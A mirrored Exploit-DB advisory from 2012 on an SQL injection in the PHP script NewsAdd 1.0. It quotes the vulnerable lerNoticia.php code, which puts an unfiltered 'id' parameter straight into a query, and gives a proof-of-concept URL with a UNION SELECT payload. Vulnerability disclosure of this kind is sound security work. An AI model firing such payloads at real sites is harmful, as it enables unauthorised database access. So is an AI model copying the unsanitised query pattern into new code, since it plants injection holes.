NewsAdd 1.0 – ‘lerNoticia.php?id’ SQL Injection - 体验盒子

作者： Yakir Wizman

日期： 2012-05-31

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/18960/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

##########################################################################

## NewsAdd <= 1.0 (lerNoticia.php) Remote SQL Injection

## Google Dork: n/a

## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>

## Date: 31/05/2012

## Version: 1.0

## Software Link: http://phpbrasil.com/script/3tCyUs1JeL1M/newsadd--mysql

## ISRAEL

##########################################################################

##Author will be not responsible for any damage.

##########################################################################

##**YOU SHOULD BE LOGGED IN** | **YOU SHOULD BE LOGGED IN**

##########################################################################

## Vulnerable Code - lerNoticia [15-22]:

21.if ($_GET) {

22.

23. $id = $_GET['id'];

24.

25. $query = "SELECT * FROM noticia WHERE id = '$id'";

26. $sql = mysql_query($query);

27.

28. while($row = mysql_fetch_array($sql)) {

29.

30. echo " " . $row['titulo'] . " - postado em " . $row['data'] . " " . $row['noticia'] . " ";

31. echo "<a href='https://www.exploit-db.com/exploits/18960/comentar.php?id=$row[0]'>comentar not?cia</a> <hr>";

32.

33. }

34.

## NOTE:

## As you can see there is no validation or any filter to variable $id.

## See line 23. so you can inject sql query by using $id variable;

## SQL Injection PoC:

## http://www.example.com/newsadd/lerNoticia.php?id=-0'+union+all+select+1,2,VERSION(),4,5+from+usuarios--+

##########################################################################

# Cya :)

# 0x31337.net

##########################################################################